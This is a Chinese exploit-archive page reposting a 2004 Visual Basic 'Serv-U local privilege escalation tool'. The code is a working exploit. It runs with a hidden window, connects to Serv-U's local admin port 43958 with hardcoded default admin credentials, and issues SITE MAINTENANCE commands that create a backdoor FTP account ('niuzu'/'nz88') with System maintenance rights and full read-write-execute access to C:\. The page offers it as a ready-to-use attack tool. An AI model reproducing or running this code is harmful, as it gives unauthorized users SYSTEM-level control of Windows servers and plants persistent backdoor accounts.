首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
serv-u本地权限提升工具
来源:www.bugkidz.org 作者:niuzu 发布时间:2004-06-22  

连接本地serv-u 43958管理端口新建一个用户名niuzu 密码nz88的系统用户,端口在1984


Dim homedir As String
Dim n, lport, ftpport As Double

Private Sub Form_Load()
On Error Resume Next
Dim appname As String
Dim tmp
Form1.Visible = False
Form1.Caption = "SERV-U权限提升工具by niuzu"
If Right(App.Path, 1) <> "\" Then

appname = App.Path & "\" & App.EXEName & ".ini"
Else
appname = App.Path & App.EXEName & ".ini"
End If

If Dir(appname) <> "" Then
Open appname For Input As #1
Line Input #1, tmp
lport = Mid(tmp, 11)
Line Input #1, tmp
ftpport = Mid(tmp, 9)
Line Input #1, tmp
homedir = Mid(tmp, 9)
Close
Else
lport = 43958
ftpport = 1984
homedir = "c :\"
End If
Winsock1.RemoteHost = "127.0.0.1"
Winsock1.RemotePort = lport
Winsock1.Close
Winsock1.Connect


End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
n = n + 1
If n < 3 Then
Winsock1.SendData "USER localadministrator" & vbCrLf
Winsock1.SendData "PASS #l@$ak#.lk;0@P" & vbCrLf
Winsock1.SendData "SITE MAINTENANCE" & vbCrLf
Winsock1.SendData "-SETDOMAIN" & vbCrLf
Winsock1.SendData "-Domain=MYFTP|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf
Winsock1.SendData "-DynDNSEnable=0" & vbCrLf
Winsock1.SendData " DynIPName=" & vbCrLf
Winsock1.SendData "-SETUSERSETUP" & vbCrLf
Winsock1.SendData "-IP=0.0.0.0" & vbCrLf
Winsock1.SendData "-PortNO=" & ftpport & vbCrLf
Winsock1.SendData "-User=niuzu" & vbCrLf
Winsock1.SendData "-Password=nz88" & vbCrLf
Winsock1.SendData "-HomeDir=" & homedir & vbCrLf
Winsock1.SendData "-Maintenance=System" & vbCrLf
Winsock1.SendData "-Ratios=None" & vbCrLf
Winsock1.SendData " Access=" & homedir & "|RWAMELCDP" & vbCrLf
Else
End
End If
End Sub
*.ini文件内容如下
localport:43958
ftpport:1984
homedir:c:\



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ASP版SQLSERVER注射数据表结构猜
·c/s型asp木马
·TCP Window Size RST
·Ircd-Hybrid-7/Ircd-Ratbox Low-
·Exploit stmkfont of HPUX to ge
·Remote D.O.S WinAgents TFTP Se
·Linux Kernel 2.4.x-2.6.x Local
·PoC poisoning cache attack SEF
·Exploit xfs command of HPUX to
·Rlpr <=2.04 msg() Remote fo
·Toca Race Driver 1 multiple Do
·Windows XP UPNP exploit
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved